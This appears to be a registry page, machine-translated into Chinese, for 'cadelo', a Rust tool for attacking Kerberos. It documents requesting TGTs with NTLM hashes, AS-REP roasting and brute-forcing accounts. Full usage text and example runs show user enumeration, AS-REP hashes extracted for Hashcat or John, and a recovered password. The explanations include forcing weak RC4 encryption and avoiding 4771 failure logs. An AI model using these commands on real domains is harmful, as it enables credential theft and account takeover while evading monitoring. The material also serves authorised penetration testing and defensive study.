#用户密码 #kerberos #攻击 #协议 #加密 #用户名 #交互

app cadelo

与Kerberos协议交互和攻击的工具

1个不稳定版本

0.0.1 2020年1月23日

#11#用户密码

AGPL-3.0

110KB
2.5K SLoC

cadelo

cadelo是一个与Kerberos协议交互和攻击的工具,基于kerbeiros库。

兼容Linux和Windows。

仍在开发中...

构建

git clone https://gitlab.com/Zer1t0/cadelo
cd cadelo
cargo build --release
cd target/release/
./cadelo -h

AskTGT


获取Kerberos TGT

用法

$ ./cadelo asktgt -h
cadelo-asktgt 
Zer1t0
Get a Kerberos TGT

USAGE:
    cadelo asktgt [OPTIONS] --domain <domain> --username <username> <--password <password>|--ntlm <ntlm>|--aes-128 <aes-128>|--aes-256 <aes-256>>

FLAGS:
    -h, --help       Prints help information
    -V, --version    Prints version information

OPTIONS:
        --aes-128 <aes-128>                AES 128 Kerberos key of user
        --aes-256 <aes-256>                AES 256 Kerberos key of user
    -d, --domain <domain>                  Domain to brute-force
    -k, --kdc-ip <ip>                      The address of the KDC
        --ntlm <ntlm>                      NTLM hash of user
        --out-file <file>                  File to save TGT.
    -p, --password <password>              Password of user
        --ticket-format <ticket-format>    Format to save retrieved tickets. [default: ccache]  [possible values: krb,
                                           ccache]
    -u, --username <username>              Username what TGT is for

示例

使用用户密码的NTLM散列请求TGT

$ ./cadelo asktgt -d kingdom.hearts -u mickey --ntlm 7ED026C3D202555DB1F8A8BA91C67C27 --kdc-ip 10.0.0.1
[+] Saved TGT into mickey.ccache

ASREPRoast


搜索未进行Kerberos预身份验证的用户,也列举用户名。

工作原理

命令 asreproast 发送Kerberos AS-REQ请求,以发现不需要Kerberos预身份验证的用户。这允许从KDC服务器获取AS-REP响应,其中包含从用户密码派生的密钥加密的一部分。然后,工具返回此加密部分,以便在John The Ripper或Hashcat中破解。

此外,默认情况下,客户端向服务器指示允许使用AES-256、AES-128和RC4加密。因此,响应很可能使用AES-256加密,这更难破解。然而,--cipher选项允许指定要发布给服务器的加密算法,并强制使用较弱的加密算法RC4来加密响应。

最后,此工具还可以用于列举用户,因为它可以检索用户是否存在。在这种情况下,与brute命令的不同之处在于,此方法不会生成4771-Kerberos预身份验证失败类型的日志,只会生成4768-Kerberos身份验证票据(TGT)已请求类型的日志。

生成的日志

此工具在Windows域控制器中生成以下日志

用法

$ ./cadelo asreproast -h
cadelo-asreproast 
AS-REP roast attack

USAGE:
    cadelo asreproast [FLAGS] [OPTIONS] --domain <domain> <--username <username>|--usernames <file>>

FLAGS:
    -h, --help       Prints help information
        --udp        Use of UDP instead of TCP
    -V, --version    Prints version information
    -v, --verbose    Verbose

OPTIONS:
        --cipher <cipher>                Encryption algorithm requested to server. [possible values: rc4, aes128,
                                         aes256]
        --crack-format <crack-format>    Format to save non preauth responses. [default: hashcat]  [possible values:
                                         hashcat, john]
    -d, --domain <domain>                Domain to brute-force
    -k, --kdc-ip <ip>                    The address of the KDC
        --out-file <file>                File to save discovered non preauth responses. It is in hashcat or john format.
    -t, --threads <threads>              Number of threads [default: 1]
    -u, --username <username>            User to check
        --usernames <file>               File with username per line

示例

查找不需要Kerberos预身份验证的用户列表

$ ./cadelo asreproast -d kingdom.hearts --usernames users.txt  -vv
[-] Invalid admin
[-] Invalid root
[*] Valid mickey
[-] Invalid bob
[*] Valid roxas : No Preauth
[*] To crack roxas $krb5asrep$18$roxas@KINGDOM.HEARTS:4b494e47444f4d2e484541525453726f786173$3fd92aac4926f3d92db9b224ef5e8a41a26cf689f48e65b9894d488a4ab4652811bf19cde7327325db8c0d435798f6ebe6543c19e74b618cf55658b0edfdd4e3f1a6f518468473beae9fb15c73b8b14fe6dd36e42835347d80b5fe8c77f35a6c2f7e35e273946fa85737c892b8cace5932a521011aab536f37cecf3955a6968c4ca9e19fdbcf305f705ca8f5a181fcf495831ab3dadaaaf3ed77b6df27eec1e8cfa6deeb5b4a920817d5c82eceb64bacc0d7cee790c13e2cdc4022cd9f278b29e3636542d1b778dbb34e2f15c09a2b3827da79d3e3ebd327398c1267fe98094aad3a16d79aa2ab1edf9ccfaf4d35d43b3a70b82f2255c01235b296d2097b3387ecde662c3a7e2b33089bbc7726bf03e4a77384801fbb531643d9f6a227ee3d
[*] Valid xion

  == Execution summary == 

[+] 1 users without pre-auth required were discovered, good luck on crack

Brute


用于对Kerberos协议执行暴力攻击的实用程序。**小心**,因为用户账户在执行此攻击时可能会被锁定。

工作原理

《brute》命令将提供的用户名和密码组合,并测试所有可能性。这样,可以测试多个用户的唯一密码,或者一个用户的多个密码。如果发现用户密码,也会保存生成的TGT以备将来使用(可以通过--no-save-ticket标志禁用)。发现的凭证可以使用--output-passwords选项保存到文件中。

此外,通过处理Kerberos错误,该工具可以告知是否存在用户名。同样,它还可以指示用户账户是否被阻止或禁用。

最后,如果发现不需要Kerberos预认证的用户,该工具会指出这一点,并将AS-REP消息的加密部分以John the Ripper或Hashcat格式返回,以便将来破解以获取用户密码。(也可以通过使用--output-non-preauth选项将此结果保存到文件中)。

生成的日志

此工具在Windows域控制器中生成以下日志

用法

$ ./cadelo brute -h
cadelo-brute 
Zer1t0
Bruteforce attack

USAGE:
    cadelo brute [FLAGS] [OPTIONS] --domain <domain> <--password <password>|--passwords <file>> <--username <username>|--usernames <file>>

FLAGS:
    -h, --help              Prints help information
        --no-save-ticket    Do saved the retrieved tickets
        --udp               Use of UDP instead of TCP
    -V, --version           Prints version information
    -v, --verbose           Verbose

OPTIONS:
        --crack-format <crack-format>      Format to save non preauth responses. [default: hashcat]  [possible values:
                                           hashcat, john]
    -d, --domain <domain>                  Domain to brute-force
    -k, --kdc-ip <ip>                      The address of the KDC
        --output-non-preauth <file>        File to save discovered non preauth responses. It is in hashcat or john
                                           format.
        --output-passwords <file>          File to save discovered user:password per line
    -p, --password <password>              Password to brute-force
        --passwords <file>                 File with password per line
    -t, --threads <threads>                Number of threads [default: 1]
        --ticket-format <ticket-format>    Format to save retrieved tickets. [default: ccache]  [possible values: krb,
                                           ccache]
    -u, --username <username>              Username to brute-force
        --usernames <file>                 File with username per line

示例

使用用户名和密码列表进行暴力破解

$ ./cadelo brute -d kingdom.hearts --usernames users.txt --passwords passwords.txt -vvv
[-] Invalid admin
[-] Invalid root
[*] Valid mickey
[-] Invalid bob
[*] Valid roxas : No Preauth
[*] To crack roxas $krb5asrep$18$roxas@KINGDOM.HEARTS:4b494e47444f4d2e484541525453726f786173$a96e2f5df8eac27e596c5719b9c8c8134ac1aaef136e2bb6f5c814b34924a625af8e1f5ad802e78d0731ab3c099ac79414c7d601a247920ecb614b45405364bf8a1cc2c7c93c8e075241aa1863976ac9b21de4c9170bffc1a438be99a328be42e2cf465a1e2c949ac716e48ddf151f40c3b452b7785287d7adfa2d96a7f8a1a1df4a1b1c6f98c64893f83864026ee3d134ed6781451dda226034d0b9659b21cb4327b3e51f6b714857a988a184783927a1ea518fe90cc4a11956df0c2d3ae946799196fcbb9e88b5cfcaa78ee04c54e1a14dcdde26465a4d5ee7c13cdc2271c9b81c0cb343d65b73bcae7c7e24bb7de9acbd1938811a913fd97a539195d397a78abe63e06c938401d186a4166d54f6a49b3e162551b7e17f31b3db3587fa76
[!] Blocked/Disabled xion
[+] STUPENDOUS mickey:Minnie1234
[+] Saved mickey ticket into mickey.ccache

  == Execution summary == 

[+] Great, 1 user passwords were discovered
[+] 1 users without pre-auth required were discovered, good luck on crack

依赖项

~11MB
~189K SLoC